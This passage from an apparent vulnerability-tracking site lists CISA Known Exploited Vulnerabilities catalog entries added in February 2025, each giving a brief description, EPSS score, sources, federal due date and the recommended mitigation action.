CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2025; federal due date Mar 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Partner Center Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2024-49035
Microsoft Partner Center Improper Access Control Vulnerability (Feb 25, 2025).
Microsoft Partner Center contains an improper access control vulnerability that allows an attacker to escalate privileges.
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-49035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25
CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2025; federal due date Mar 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Agile Product Lifecycle Management (PLM) Deserialization Vulnerability
https://kevwire.com/record/CVE-2024-20953
Oracle Agile Product Lifecycle Management (PLM) Deserialization Vulnerability (Feb 24, 2025).
Oracle Agile Product Lifecycle Management (PLM) contains a deserialization vulnerability that allows a low-privileged attacker with network access via HTTP to compromise the system.
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25
CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 24, 2025; federal due date Mar 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization Vulnerability
https://kevwire.com/record/CVE-2017-3066
Adobe ColdFusion Deserialization Vulnerability (Feb 24, 2025).
Adobe ColdFusion contains a deserialization vulnerability in the Apache BlazeDS library that allows for arbitrary code execution.
EPSS 90.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-3066: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25
CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 24, 2025; federal due date Mar 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Power Pages Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2025-24989
Microsoft Power Pages Improper Access Control Vulnerability (Feb 21, 2025).
Microsoft Power Pages contains an improper access control vulnerability that allows an unauthorized attacker to elevate privileges over a network potentially bypassing the user registration control.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24989: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25
CISA added this entry on 2025-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 21, 2025; federal due date Mar 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS File Read Vulnerability
https://kevwire.com/record/CVE-2025-0111
Palo Alto Networks PAN-OS File Read Vulnerability (Feb 20, 2025).
Palo Alto Networks PAN-OS contains an external control of file name or path vulnerability. Successful exploitation enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-0111: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25
CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 20, 2025; federal due date Mar 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Craft CMS Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-23209
Craft CMS Code Injection Vulnerability (Feb 20, 2025).
Craft CMS contains a code injection vulnerability caused by improper validation of the database backup path, ultimately enabling remote code execution.
EPSS 21.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-23209: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25
CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 20, 2025; federal due date Mar 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2025-0108
Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Feb 18, 2025).
Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in its management web interface. This vulnerability allows an unauthenticated attacker with network access to the management web interface to bypass the authentication normally required and invoke certain PHP scripts.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-0108: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25
CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 18, 2025; federal due date Mar 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SonicOS SSLVPN Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2024-53704
SonicWall SonicOS SSLVPN Improper Authentication Vulnerability (Feb 18, 2025).
SonicWall SonicOS contains an improper authentication vulnerability in the SSLVPN authentication mechanism that allows a remote attacker to bypass authentication.
EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-53704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25
CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 18, 2025; federal due date Mar 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SimpleHelp Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-57727
SimpleHelp Path Traversal Vulnerability (Feb 13, 2025).
SimpleHelp remote support software contains multiple path traversal vulnerabilities that allow unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files may include server configuration files and hashed user passwords.
EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-57727: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25
CISA added this entry on 2025-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 13, 2025; federal due date Mar 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and iPadOS Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2025-24200
Apple iOS and iPadOS Incorrect Authorization Vulnerability (Feb 12, 2025).
Apple iOS and iPadOS contains an incorrect authorization vulnerability that allows a physical attacker to disable USB Restricted Mode on a locked device.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25
CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2025; federal due date Mar 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel SIP Phones Argument Injection Vulnerability
https://kevwire.com/record/CVE-2024-41710
Mitel SIP Phones Argument Injection Vulnerability (Feb 12, 2025).
Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones, including the 6970 Conference Unit, contain an argument injection vulnerability due to insufficient parameter sanitization during the boot process. Successful exploitation may allow an attacker to execute arbitrary commands within the context of the system.
EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-41710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25
CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2025; federal due date Mar 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel DSL CPE OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-40891
Zyxel DSL CPE OS Command Injection Vulnerability (Feb 11, 2025).
Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the management commands that could allow an authenticated attacker to execute OS commands via Telnet.
EPSS 22.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-40891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25
CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel DSL CPE OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-40890
Zyxel DSL CPE OS Command Injection Vulnerability (Feb 11, 2025).
Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the CGI program that could allow an authenticated attacker to execute OS commands via a crafted HTTP request.
EPSS 20.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-40890: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25
CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Ancillary Function Driver for WinSock Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-21418
Microsoft Windows Ancillary Function Driver for WinSock Heap-Based Buffer Overflow Vulnerability (Feb 11, 2025).
Microsoft Windows Ancillary Function Driver for WinSock contains a heap-based buffer overflow vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21418: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25
CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Storage Link Following Vulnerability
https://kevwire.com/record/CVE-2025-21391
Microsoft Windows Storage Link Following Vulnerability (Feb 11, 2025).
Microsoft Windows Storage contains a link following vulnerability that could allow for privilege escalation. This vulnerability could allow an attacker to delete data including data that results in the service being unavailable.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21391: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25
CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trimble Cityworks Deserialization Vulnerability
https://kevwire.com/record/CVE-2025-0994
Trimble Cityworks Deserialization Vulnerability (Feb 7, 2025).
Trimble Cityworks contains a deserialization vulnerability. This could allow an authenticated user to perform a remote code execution attack against a customer's Microsoft Internet Information Services (IIS) web server.
EPSS 31.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-0994: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25
CISA added this entry on 2025-02-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 7, 2025; federal due date Feb 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos XG Firewall Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-15069
Sophos XG Firewall Buffer Overflow Vulnerability (Feb 6, 2025).
Sophos XG Firewall contains a buffer overflow vulnerability that allows for remote code execution via the "HTTP/S bookmark" feature.
EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-15069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25
CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CyberoamOS (CROS) SQL Injection Vulnerability
https://kevwire.com/record/CVE-2020-29574
CyberoamOS (CROS) SQL Injection Vulnerability (Feb 6, 2025).
CyberoamOS (CROS) contains a SQL injection vulnerability in the WebAdmin that allows an unauthenticated attacker to execute arbitrary SQL statements remotely.
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-29574: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25
CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Outlook Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2024-21413
Microsoft Outlook Improper Input Validation Vulnerability (Feb 6, 2025).
Microsoft Outlook contains an improper input validation vulnerability that allows for remote code execution. Successful exploitation of this vulnerability would allow an attacker to bypass the Office Protected View and open in editing mode rather than protected mode.
EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21413: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25
CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dante Discovery Process Control Vulnerability
https://kevwire.com/record/CVE-2022-23748
Dante Discovery Process Control Vulnerability (Feb 6, 2025).
Dante Discovery contains a process control vulnerability in mDNSResponder.exe that all allows for a DLL sideloading attack. A local attacker can leverage this vulnerability in the Dante Application Library to execute arbitrary code.
EPSS 8.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-23748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25
CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### 7-Zip Mark of the Web Bypass Vulnerability
https://kevwire.com/record/CVE-2025-0411
7-Zip Mark of the Web Bypass Vulnerability (Feb 6, 2025).
7-Zip contains a protection mechanism failure vulnerability that allows remote attackers to bypass the Mark-of-the-Web security feature to execute arbitrary code in the context of the current user.
EPSS 67.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-0411: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25
CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2024-53104
Linux Kernel Out-of-Bounds Write Vulnerability (Feb 5, 2025).
Linux kernel contains an out-of-bounds write vulnerability in the uvc_parse_streaming component of the USB Video Class (UVC) driver that could allow for physical escalation of privilege.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-53104: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25
CISA added this entry on 2025-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 5, 2025; federal due date Feb 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Paessler PRTG Network Monitor Local File Inclusion Vulnerability
https://kevwire.com/record/CVE-2018-19410
Paessler PRTG Network Monitor Local File Inclusion Vulnerability (Feb 4, 2025).
Paessler PRTG Network Monitor contains a local file inclusion vulnerability that allows a remote, unauthenticated attacker to create users with read-write privileges (including administrator).
EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25
CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Paessler PRTG Network Monitor OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-9276
Paessler PRTG Network Monitor OS Command Injection Vulnerability (Feb 4, 2025).
Paessler PRTG Network Monitor contains an OS command injection vulnerability that allows an attacker with administrative privileges to execute commands via the PRTG System Administrator web console.
EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-9276: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25
CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft .NET Framework Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2024-29059
Microsoft .NET Framework Information Disclosure Vulnerability (Feb 4, 2025).
Microsoft .NET Framework contains an information disclosure vulnerability that exposes the ObjRef URI to an attacker, ultimately enabling remote code execution.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-29059: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25
CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
